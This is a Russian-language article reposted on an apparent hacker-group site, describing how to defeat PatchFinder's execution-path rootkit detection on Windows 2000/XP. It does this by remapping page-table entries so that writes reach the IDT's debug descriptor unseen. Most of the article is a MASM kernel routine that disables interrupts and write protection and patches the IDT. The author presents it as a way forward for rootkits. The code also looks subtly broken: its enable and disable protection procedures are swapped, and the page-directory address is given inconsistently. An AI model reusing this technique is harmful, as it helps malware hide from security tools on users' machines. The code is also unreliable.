| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 18.117.93.183
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

Обход детекторов на основе EPA

Введение

PatchFinder - изощренная диагностическая утилита, разработанная для детектирования руткитов. Она использует технику EPA (Анализ пути запуска) для нахождения руткитов. Эта статья покажет как обойти защиту на основе ЕРА.

Метод

EPA базируется на пошаговом режиме отладки (флаг TF в EFLAGS) и использует дескриптор 0x01 в таблице дескрипторов прерываний (IDT). Для защиты от изменения адреса дескриптора 0x01 руткитом, EPA использует отладочные регистры (DR0, DR1).



Давайте заглянем в интеловский мануал: "Отладочные регистры DR0-DR3 содержат 32-битный линейный адрес точки останова (брекпойнта)". 

Обратите внимание: ЛИНЕЙНЫЙ АДРЕС! В Windows 2000/XP используется механизм страничной трансляции, который преобразует линейный адрес в физический.

Предположим, что базовый адрес IDT равен 0х8003F400 и содержится в регистре IDTR.
Тогда адрес дескриптора 0х01 в IDT равен 0х8003F408.

Интел о IDTR: "Базовый адрес является линейным адресом в байте 0 в IDT".

Адрес Каталога страниц в Windows 2000/XP указан в регистре CR3 и отображается на линейный адрес 0хС300000. Линейный адрес делиться на Каталог, Таблицу и Смещение. Используя страничный механизм, описываемый в интеловском мануале, мы обнаружим, что ФИЗИЧЕСКИЙ адрес 0x8003F408 равняется 0х03F00.

Все, что нам надо сделать - создать буфер, получить указатель на этот буфер и изменить значения в Каталоге страниц и Таблице страниц таким образом, чтобы буфер указывал на физический адрес 0х03F00.

После этого можно писать в буфер (и это будет равносильно записи в IDT) не боясь защитных механизмов! Отладочные регистры бесполезны для защиты памяти, т.к. они не защищают ФИЗИЧЕСКУЮ память.

Код

Далее идет исходный код, написанный на MASM v8.0. Я люблю программировать на языке ассемблера :-). Полный исходник лежит на www.rootkit.com.

;--- IDTR structure definition------ 
DIDTR STRUCT ;IDTR 
dLIMIT WORD ? 
ibase DWORD ? 
DIDTR 
ENDS 
;--------------------

BypassIDTProtection PROC

LOCAL dbgHandler:DWORD

LOCAL myIDT:DIDTR

LOCAL idtbase:DWORD 
LOCAL idtbaseoff:DWORD 
LOCAL idtPDE:DWORD 
LOCAL idtPDEaddr:DWORD 
LOCAL idtPTE:DWORD 
LOCAL idtPTEaddr:DWORD

LOCAL varbase:DWORD 
LOCAL varbaseoff:DWORD 
LOCAL varPDE:DWORD 
LOCAL varPDEaddr:DWORD 
LOCAL varPTE:DWORD 
LOCAL varPTEaddr:DWORD
LOCAL diffoffset:DWORD

pushad

;
Выделяем память чтобы была выровнена по размеру страницы (4к) 
invoke ExAllocatePool, NonPagedPoolMustSucceed, 01000h 
mov varbase, eax

cli ;
Отрубаем прерывания

invoke DisablePageProtection ;
Для XP, старый трюк, используемый в Regmon

sidt myIDT 
mov eax, myIDT.ibase 
add eax, 08h 
mov idtbase, eax ;
idtbase = базовый адрес IDT + 8 байтов

and eax, 0FFC00000h ;
Получим индекс IDT в каталоге страниц 
shr eax, 22 
shl eax, 2 ;
Умножаем на четыре

mov ebx, 0c0300000h ;
0c0300000 = Каталог страниц 
add ebx, eax ; ebx = [Каталог страниц + индекс IDT*4] 
mov idtPDEaddr, ebx

mov eax, [ebx] 
mov idtPDE, eax ;
еax = запись в PDE для IDT

mov eax, idtbase 
and eax, 0FFFh ;
0-12 биты IDT = смещение в странице 
mov idtbaseoff, eax

mov eax, idtbase 
shr eax, 12 ;
Смещаем до 22 бита IDT
shl eax, 2 ; Умножаем на четыре

mov ebx, 0c0000000h ;
0c0000000 = начало Таблицы страниц 
add ebx, eax 
mov idtPTEaddr, ebx ;
Запись в PTE для IDT

mov eax, [ebx] 
mov idtPTE, eax ;
Получаем значение по адресу записи IDT в PTE

mov eax, varbase

and eax, 0FFC00000h ;
Получаем индекс varbase в Каталоге страниц 
shr eax, 22 
shl eax, 2

mov ebx, 0c0300000h 
add ebx, eax 
mov varPDEaddr, ebx

mov eax, [ebx] 
mov varPDE, eax

mov eax, varbase 
and eax, 0FFFh 
mov varbaseoff, eax

mov eax, varbase 
shr eax, 12 
shl eax, 2

mov ebx, 0c0000000h 
add ebx, eax 
mov varPTEaddr, ebx

mov eax, [ebx] 
mov varPTE, eax

mov eax, varPDEaddr ;
изменяем значение в PDE на адрес 
;дескриптора 0x01 в IDT

mov ebx, idtPDE 
mov [eax], ebx

mov eax, varPTEaddr ;
изменяем значение в PTE на адрес 
;дескриптора 0х01 в IDT

mov ebx, idtPTE 
mov [eax], ebx

mov ebx, idtbaseoff ;
вычисляем смещение
mov eax, varbaseoff 
sub ebx, eax

;
Сейчас мы будем писАть в дескриптор 0х01 в IDT
; используя линейный адрес, при котором 
; отладочные регистры не сработают!
; Просто тест, который делает 0х01 бесполезным

mov eax, varbase 
mov dword ptr [eax+ebx], 0deadbeefh

mov eax, varPDEaddr ;
восстанавливаем старое значение 
mov ebx, varPDE 
mov [eax], ebx

mov eax, varPTEaddr ;
восстанавливаем старое значение 
mov ebx, varPTE 
mov [eax], ebx

invoke EnablePageProtection ;
устанавливаем флаг WP в регистре CR0

sti
popad 
ret
BypassIDTProtection ENDP ;:: EnablePageProtection proc
push eax 
mov eax, CR0 
and eax, 0FFFEFFFFh 
mov CR0, eax 
pop eax 
ret
EnablePageProtection endp ;:: DisablePageProtection proc
push eax 
mov eax, CR0 
or eax, NOT 0FFFEFFFFh 
mov CR0, eax 
pop eax 
ret
DisablePageProtection endp ;::

Будущее руткитов

К сожалению, метод, изложенный здесь, делает EPA бесполезным. До тех пор, пока Micro$oft не изменит архитектуру защиты, ни один метод не остановит руткиты. В будущем руткиты будут использовать страничный механизм по полной программе. Это даст им бесконечные возможности. 

Однажды в нулевом кольце - навсегда в нулевом кольце.

Оригинал: http://www.go2.fr/syn/index2.htm

Категория: Общие Статьи | Добавил: aka_kludge (04.01.2009)
Просмотров: 1785 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

00:00
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика